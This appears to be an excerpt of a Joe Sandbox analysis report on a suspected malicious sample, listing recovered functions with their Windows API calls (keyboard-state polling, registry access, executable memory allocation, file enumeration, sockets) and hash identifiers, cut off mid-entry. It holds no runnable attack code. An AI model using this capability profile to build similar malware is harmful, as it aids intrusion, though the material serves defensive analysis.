_wcslen.LIBCMT ref: 00174159

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
Instruction ID: 793c3b134072d77b6b21f978fdd1bd2a4c8e20d7f1b0507c42e97bd72cff67cf
Opcode Fuzzy Hash: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
Instruction Fuzzy Hash: 02D0A7333420103ABA69313D2D0BC7F455CCFE26A0B04007FFA02CA1A5EE444C0301E0

Uniqueness

Uniqueness Score: -1.00%

Function 001DE783 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetShortPathNameW.KERNELBASE(?,?,00007FFF), ref: 001DE7A2

Part of subcall function 001784B7: _wcslen.LIBCMT ref: 001784CA

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: NamePathShort_wcslen
String ID:
API String ID: 2021730007-0
Opcode ID: 822d58fd26f4815cebb7cd031c65987792cdb79af42ed541fc91dc4f4ff46414
Instruction ID: d2e0ab58c764ff07d4e3c2173f341bda4d875482975948759f17971b600a685e
Opcode Fuzzy Hash: 822d58fd26f4815cebb7cd031c65987792cdb79af42ed541fc91dc4f4ff46414
Instruction Fuzzy Hash: 41E0CD765402245BC710A2989C09FDA77EDEFC8790F0440B0FC09D7249DEA4DD808590

Uniqueness

Uniqueness Score: -1.00%

Function 0018F13C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,?,0017B0DE,?,?,00000000,?,00176B73,?), ref: 0018F156

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 49897953a921158fee55a73ef869a36e897759896ef727a080c30e153477b328
Instruction ID: d5a010a12e405f500ae33840f0b6caacbe0ffa5b5326bf968652f16a9abf8ee5
Opcode Fuzzy Hash: 49897953a921158fee55a73ef869a36e897759896ef727a080c30e153477b328
Instruction Fuzzy Hash: 2AE092B5510704AFD728DF55D84AD97BBF8EB08310B00455EA85693740E7B1BD448B50

Uniqueness

Uniqueness Score: -1.00%

Function 001739DE Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 001739FD

Part of subcall function 001784B7: _wcslen.LIBCMT ref: 001784CA

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: d2237e0d644df1c5d1649bdf53871f5b10a3bdf9fd58f85dcb204b6f6fe923cd
Instruction ID: 9f5824bb0a8d6d7dfc231b4747f8c47bb38916fd1900f37278c1173622a93737
Opcode Fuzzy Hash: d2237e0d644df1c5d1649bdf53871f5b10a3bdf9fd58f85dcb204b6f6fe923cd
Instruction Fuzzy Hash: 78E0CD725002245BC710A2989C09FDA77EDDFC8790F0441B1FC09D7249DEB4DD808590

Uniqueness

Uniqueness Score: -1.00%

Function 001DE753 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 001DE76C

Part of subcall function 001784B7: _wcslen.LIBCMT ref: 001784CA

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FolderPath_wcslen
String ID:
API String ID: 2987691875-0
Opcode ID: f2986be18967922a22e9eb29b9ba4db21f7ba09af9be8dbf815cbf0437dcc1d8
Instruction ID: c29898671d71c61d8604db28a498b44ab71bd3d023346432d9103fe1f3b77470
Opcode Fuzzy Hash: f2986be18967922a22e9eb29b9ba4db21f7ba09af9be8dbf815cbf0437dcc1d8
Instruction Fuzzy Hash: 1FD05EA19003282BDF60A6B49C0DDB73AACD740210F004AA0786DD3142EA74ED4486B0

Uniqueness

Uniqueness Score: -1.00%

Function 00177953 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000000,001B3A1C), ref: 00177973

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ed8c8bb0d480f36ce9ede271e68d43f39c33596b52d23e50cee7e827911679aa
Instruction ID: 53bfe719021e12418e9eac7ed4b66aa3536b58348cd4be6b109412e3a559d07f
Opcode Fuzzy Hash: ed8c8bb0d480f36ce9ede271e68d43f39c33596b52d23e50cee7e827911679aa
Instruction Fuzzy Hash: 92E09275405B12CFC3314F1AE804412FBF4FED23757218A2ED1E9826A0D3B05896CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001B073A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,001B0AA4,?,?,00000000,?,001B0AA4,00000000,0000000C), ref: 001B0757

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 70b35d97930651fd4f1cbf36a8d150b0e2f3ee660ac994e6d5aee209eca7a915
Instruction ID: 5109ff895e6af6363f831bcae22ed507dd119fe4b50a7437aabaa335f926c8e0
Opcode Fuzzy Hash: 70b35d97930651fd4f1cbf36a8d150b0e2f3ee660ac994e6d5aee209eca7a915
Instruction Fuzzy Hash: ADD06C3200020DBBDF028F84ED06EDA3BAAFB48714F014000BE1856020C732E821AB90

Uniqueness

Uniqueness Score: -1.00%

Function 001DE9C5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,001DD755), ref: 001DE9C6

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 72967a3d8d88521b8e032d8d7698b507c00277c8893895e776e94fabbf7985d7
Instruction ID: b3cbc7f3abf30b2223e6eb71efa5981aee25b0cd66038050dd896e088dbd1429
Opcode Fuzzy Hash: 72967a3d8d88521b8e032d8d7698b507c00277c8893895e776e94fabbf7985d7
Instruction Fuzzy Hash: A2B0922400261009BD7C2A3C2A2C1A9278068433AB7DC1B96E8B9992E3C33A880BE610

Uniqueness

Uniqueness Score: -1.00%

Function 010DE9A0 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,010DE603,0000003C,0000001E,0000004A,0000003E,00000042), ref: 010DE9BF

Memory Dump Source

Source File: 00000006.00000003.1580860266.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 010D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_10d9000_ewdbwwfpdh.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 06eb02c548db0a05d1e20e56bead04f6bc1efedc2ff2b69c3f0a506310807bbb
Instruction ID: ec27869c955d1737f073870aebe05b0b2b35fae0e4b44743f570745af984d6a6
Opcode Fuzzy Hash: 06eb02c548db0a05d1e20e56bead04f6bc1efedc2ff2b69c3f0a506310807bbb
Instruction Fuzzy Hash: 5ED012B018530276F691BBB1CC02F99BA91AF50B42F402C58B3DC3C1E1C5BA95595A96

Uniqueness

Uniqueness Score: -1.00%

Function 010DE9A0 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,010DE603,0000003C,0000001E,0000004A,0000003E,00000042), ref: 010DE9BF

Memory Dump Source

Source File: 00000006.00000003.1580860266.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 010DB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_10d9000_ewdbwwfpdh.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 06eb02c548db0a05d1e20e56bead04f6bc1efedc2ff2b69c3f0a506310807bbb
Instruction ID: ec27869c955d1737f073870aebe05b0b2b35fae0e4b44743f570745af984d6a6
Opcode Fuzzy Hash: 06eb02c548db0a05d1e20e56bead04f6bc1efedc2ff2b69c3f0a506310807bbb
Instruction Fuzzy Hash: 5ED012B018530276F691BBB1CC02F99BA91AF50B42F402C58B3DC3C1E1C5BA95595A96

Uniqueness

Uniqueness Score: -1.00%

Function 010DE9A0 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,010DE603,0000003C,0000001E,0000004A,0000003E,00000042), ref: 010DE9BF

Memory Dump Source

Source File: 00000006.00000003.1580860266.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_10d9000_ewdbwwfpdh.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 06eb02c548db0a05d1e20e56bead04f6bc1efedc2ff2b69c3f0a506310807bbb
Instruction ID: ec27869c955d1737f073870aebe05b0b2b35fae0e4b44743f570745af984d6a6
Opcode Fuzzy Hash: 06eb02c548db0a05d1e20e56bead04f6bc1efedc2ff2b69c3f0a506310807bbb
Instruction Fuzzy Hash: 5ED012B018530276F691BBB1CC02F99BA91AF50B42F402C58B3DC3C1E1C5BA95595A96

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 001EA0FA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 001EA11B
FindNextFileW.KERNEL32(00000000,?), ref: 001EA176
FindClose.KERNEL32(00000000), ref: 001EA181
FindFirstFileW.KERNEL32(*.*,?), ref: 001EA19D
SetCurrentDirectoryW.KERNEL32(?), ref: 001EA1ED
SetCurrentDirectoryW.KERNEL32(00237B94), ref: 001EA20B
FindNextFileW.KERNEL32(00000000,00000010), ref: 001EA215
FindClose.KERNEL32(00000000), ref: 001EA222
FindClose.KERNEL32(00000000), ref: 001EA232

Part of subcall function 001DE2AE: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 001DE2C9

Strings

*.*, xrefs: 001EA198

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 6a8008dc1974f8007e17112df43497198c131422f2f83d6d30c5e7c3655eaa92
Instruction ID: fc9759114c1cf5c1002f133b4c84902e66ff3aa4a48fe821637df25b0dd43c26
Opcode Fuzzy Hash: 6a8008dc1974f8007e17112df43497198c131422f2f83d6d30c5e7c3655eaa92
Instruction Fuzzy Hash: 94310472501B5A6FDF20AFB5EC48ADE77AD9F06324F500191E910F3092DB71EA85CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001FC7A3 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001FD2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001FC00D,?,?), ref: 001FD314
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD350
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD3C7
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD3FD

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001FC89D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 001FC908
RegCloseKey.ADVAPI32(00000000), ref: 001FC92C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 001FC98B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 001FCA46
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 001FCAB3
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 001FCB48
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 001FCB99
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 001FCC42
RegCloseKey.ADVAPI32(?,?,00000000), ref: 001FCCE1
RegCloseKey.ADVAPI32(00000000), ref: 001FCCEE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 8e970f838980d30a14ea00aa5121b8a0ba2f062b4454c139d2e7ac29533bc7ee
Instruction ID: 2c85a17434a2b65d5a0847fb714fad27a8a2aa1b99294e1727c523bc6be6263b
Opcode Fuzzy Hash: 8e970f838980d30a14ea00aa5121b8a0ba2f062b4454c139d2e7ac29533bc7ee
Instruction Fuzzy Hash: 99024D716042089FD714DF24C995E3ABBE5EF48318F18849DF94ACB2A2DB31ED42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 001DA54A Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 001DA572
GetAsyncKeyState.USER32(000000A0), ref: 001DA5F3
GetKeyState.USER32(000000A0), ref: 001DA60E
GetAsyncKeyState.USER32(000000A1), ref: 001DA628
GetKeyState.USER32(000000A1), ref: 001DA63D
GetAsyncKeyState.USER32(00000011), ref: 001DA655
GetKeyState.USER32(00000011), ref: 001DA667
GetAsyncKeyState.USER32(00000012), ref: 001DA67F
GetKeyState.USER32(00000012), ref: 001DA691
GetAsyncKeyState.USER32(0000005B), ref: 001DA6A9
GetKeyState.USER32(0000005B), ref: 001DA6BB

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: e38b933cefd163b4e1d58fa7c7b4a8298ca647faa90865e0e4e7540c8f2604f7
Instruction ID: 24ff09209a8469bf6bf08df5b1f3329c4ed27b72a2be2c6cf42dcb56984cab5a
Opcode Fuzzy Hash: e38b933cefd163b4e1d58fa7c7b4a8298ca647faa90865e0e4e7540c8f2604f7
Instruction Fuzzy Hash: AC41B7745047C9AEFF31CB6498143A5BEA0AF11344F88805BD9C64A7C2EB95DDD8CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 001F4089 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 001F40D1
CoUninitialize.OLE32 ref: 001F40DC
CoCreateInstance.OLE32(?,00000000,00000017,00210B44,?), ref: 001F4136
IIDFromString.OLE32(?,?), ref: 001F41A9
VariantInit.OLEAUT32(?), ref: 001F4241
VariantClear.OLEAUT32(?), ref: 001F4293

Strings

Failed to create object, xrefs: 001F4141, 001F41F7
NULL Pointer assignment, xrefs: 001F417B
Invalid parameter, xrefs: 001F41C2

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 873a19c401ab8e3705d7d8d08611d2935782c2ea702f1aa1e1ba62741c38c0b3
Instruction ID: f1855588b8d6db334da2d7575d7ad0c9c0b89eb5e34e7dccfd195b64532d94e5
Opcode Fuzzy Hash: 873a19c401ab8e3705d7d8d08611d2935782c2ea702f1aa1e1ba62741c38c0b3
Instruction Fuzzy Hash: 8161AF712087059FD310DFA4D888F6BBBE8EF59714F004919FA859B2A1DB70ED84CB92

Uniqueness

Uniqueness Score: -1.00%

Function 001EA488 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 001EA4D5
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 001EA5E8

Part of subcall function 001E41CE: GetInputState.USER32 ref: 001E4225
Part of subcall function 001E41CE: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001E42C0

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 001EA505
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 001EA5D2

Strings

*.*, xrefs: 001EA4BA

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 4e94b37ca19622e75d3f8c5eb01d0a57b26818013d5715cbe342f4cb37849ddb
Instruction ID: 72a76873c3d3efe25eb69e2c36028800d8a05a5490688e9c3cf1cd9181518435
Opcode Fuzzy Hash: 4e94b37ca19622e75d3f8c5eb01d0a57b26818013d5715cbe342f4cb37849ddb
Instruction Fuzzy Hash: AE41807190464AAFDF14DFA5CC49AEEBBB4FF15310F648156F809A2192DB30AE84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0017225D Relevance: 7.8, APIs: 5, Instructions: 309COMMON

Download Yara Rule

APIs

DefDlgProcW.USER32(?,?), ref: 001722EE
GetSysColor.USER32(0000000F), ref: 001723C3
SetBkColor.GDI32(?,00000000), ref: 001723D6

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Color$Proc
String ID:
API String ID: 929743424-0
Opcode ID: 35c8471c427999714fbe09b67687edfc3996b418ba5d506e57f473c36e1e88f7
Instruction ID: bd687df17e76fb56a73d1761bbb89b0ec420932fd814ccfa83e421fdc98cf53d
Opcode Fuzzy Hash: 35c8471c427999714fbe09b67687edfc3996b418ba5d506e57f473c36e1e88f7
Instruction Fuzzy Hash: A381F8F0214554BAE62D663D8C9CEBF256DEB4A300B168209F156C5697CB39CF23D236

Uniqueness

Uniqueness Score: -1.00%

Function 001F2163 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001F39AB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 001F39D7
Part of subcall function 001F39AB: _wcslen.LIBCMT ref: 001F39F8

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 001F21BA
WSAGetLastError.WSOCK32 ref: 001F21E1
bind.WSOCK32(00000000,?,00000010), ref: 001F2238
WSAGetLastError.WSOCK32 ref: 001F2243
closesocket.WSOCK32(00000000), ref: 001F2272

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 28c3abc8d34713242782b8988f683396770b38c6183e78c87a0c1dd84af35dc3
Instruction ID: 4f18647e8e7f3e853c8da446cf268182a7966ca3b4b5addb3f74508d122b3799
Opcode Fuzzy Hash: 28c3abc8d34713242782b8988f683396770b38c6183e78c87a0c1dd84af35dc3
